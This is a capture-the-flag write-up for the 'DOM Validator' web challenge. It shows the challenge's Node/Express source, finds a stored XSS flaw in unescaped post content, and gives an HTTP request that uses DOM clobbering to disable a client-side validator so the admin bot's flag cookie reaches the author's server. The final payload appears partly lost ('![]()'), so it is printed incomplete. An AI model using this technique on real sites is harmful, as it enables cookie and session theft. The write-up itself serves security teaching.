# ▼▼▼DOM Validator(Web:130pts、solved:73/1374=5.3%)▼▼▼

This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)

```  
Always remember to validate your DOMs before you render them.

Author: kmh11  
```

\---

## 【source code】

```  
var express = require('express')  
var app = express()

app.use(express.urlencoded({ extended: false }))  
app.use(express.static('public'))

app.get('/', function (req, res) {  
res.send(`  
<html>  
<head>  
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">  
</head>  
<body style="background-color: black; text-align: center;">  
<h1 style="color: white; margin-top: 2em;">Create Post</h1>  
<form action='/posts' method='POST'>  
<input name='title' placeholder='Post title'>  
  
<textarea name='content' placeholder='Post content'></textarea>  
  
<button type='submit' style="color: white">Create Post</button>  
</form>  
<h1 style="color: white">Report Post</h1>  
<form action='/report' method='POST'>  
<input name='url' placeholder='Post URL'>  
  
<button type='submit' style="color: white">Report Post</button>  
</form>  
</body>  
</html>`)  
})

var fs = require('fs')  
app.post('/posts', function (req, res) {  
// title must be a valid filename  
if (!(/^[\w\\-. ]+$/.test(req.body.title)) || req.body.title.indexOf('..') !==
-1) return res.sendStatus(400)  
if (fs.existsSync('public/posts/' + req.body.title + '.html')) return
res.sendStatus(409)  
fs.writeFileSync('public/posts/' + req.body.title + '.html', `  
<html>  
<head>  
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">  
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-
js/3.1.2/rollups/sha512.js"></script>  
<script src="../scripts/DOMValidator.js"></script>  
</head>  
<body>  
<h1>${req.body.title}</h1>  

${req.body.content}

  
</body>  
</html>`)  
res.redirect('/posts/' + req.body.title + '.html')  
})

// admin visiting page  
var puppeteer = require('puppeteer')  
app.post('/report', async function (req, res) {  
res.sendStatus(200)  
try {  
var browser = await puppeteer.launch({  
args: ['--no-sandbox']  
})  
var page = await browser.newPage()  
await page.setCookie({  
name: 'flag',  
value: process.env.FLAG,  
domain: req.get('host')  
})  
await page.goto(req.body.url, {'waitUntil': 'networkidle0'})  
} catch (e) {  
console.log(e)  
}  
})

app.listen(3002)  
```

\---

## 【Understanding functions】

```  
POST /posts HTTP/1.1  
Host: dom.2019.chall.actf.co  
Content-Type: application/x-www-form-urlencoded

title=testssssss&content=%3Ctest%3E  
```

↓

```  
GET /posts/testssssss.html HTTP/1.1  
Host: dom.2019.chall.actf.co  
```

↓

```  
HTTP/1.1 200 OK  
Accept-Ranges: bytes  
Cache-Control: public, max-age=0  
Content-Length: 496  
Content-Type: text/html; charset=UTF-8  
Date: Thu, 25 Apr 2019 01:27:49 GMT  
Etag: W/"1f0-16a521b10cd"  
Last-Modified: Thu, 25 Apr 2019 01:27:46 GMT  
Server: Caddy  
Server: nginx/1.14.1  
X-Powered-By: Express  
Connection: close

<html>  
<head>  
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">  
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-
js/3.1.2/rollups/sha512.js"></script>  
<script src="../scripts/DOMValidator.js"></script>  
</head>  
<body>  
<h1>testssssss</h1>  

<test>

  
</body>  
</html>  
```

↓

**Stored XSS vulnerability exists!!**

\---

Also check the script content below

↓

```  
GET /scripts/DOMValidator.js HTTP/1.1  
Host: dom.2019.chall.actf.co  
```

↓

```  
HTTP/1.1 200 OK  
Accept-Ranges: bytes  
Cache-Control: public, max-age=0  
Content-Length: 797  
Content-Type: application/javascript; charset=UTF-8  
Date: Thu, 25 Apr 2019 01:27:49 GMT  
Etag: W/"31d-16a242b5dd8"  
Last-Modified: Tue, 16 Apr 2019 03:23:03 GMT  
Server: Caddy  
Server: nginx/1.14.1  
X-Powered-By: Express  
Connection: close

function checksum (element) {  
var string = ''  
string += (element.attributes ? element.attributes.length : 0) + '|'  
for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++)
{  
string += element.attributes[i].name + ':' + element.attributes[i].value + '|'  
}  
string += (element.childNodes ? element.childNodes.length : 0) + '|'  
for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++)
{  
string += checksum(element.childNodes[i]) + '|'  
}  
return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)  
}  
var request = new XMLHttpRequest()  
request.open('GET', location.href, false)  
request.send(null)  
if (checksum((new DOMParser()).parseFromString(request.responseText,
'text/html')) !== document.doctype.systemId) {  
document.documentElement.remove()  
}  
```

Summary...

・The html file of title is created

・Content parameter is reflected, content parameter is not escaped(`Stored
XSS`)

・Everything is deleted by `document.documentElement.remove()` of
/scripts/DOMValidator.js

\---

## 【Way of thinking】

**Method 1. Do not load /scripts/DOMValidator.js**

・Because we can decide the file name by ourself, can you bypass the .html
extension?

・If the above can be done, then a **relative path overwrite attack** may be
performed.

**Method 2. DOM clobbering to prevent remove() processing**

↓

I decided to solve in 2(**DOM clobbering**)

\---

## 【exploit(DOM clobbering)】

```  
POST /posts HTTP/1.1  
Host: dom.2019.chall.actf.co  
Content-Type: application/x-www-form-urlencoded

title=my_file_name&content=  
<form><input id=remove>  
![]()  
```

↓

If I let (http://dom.2019.chall.actf.co/posts/my_file_name.html) be an admin,
HeadlessChrome will access to the my server.

↓

`actf{its_all_relative}`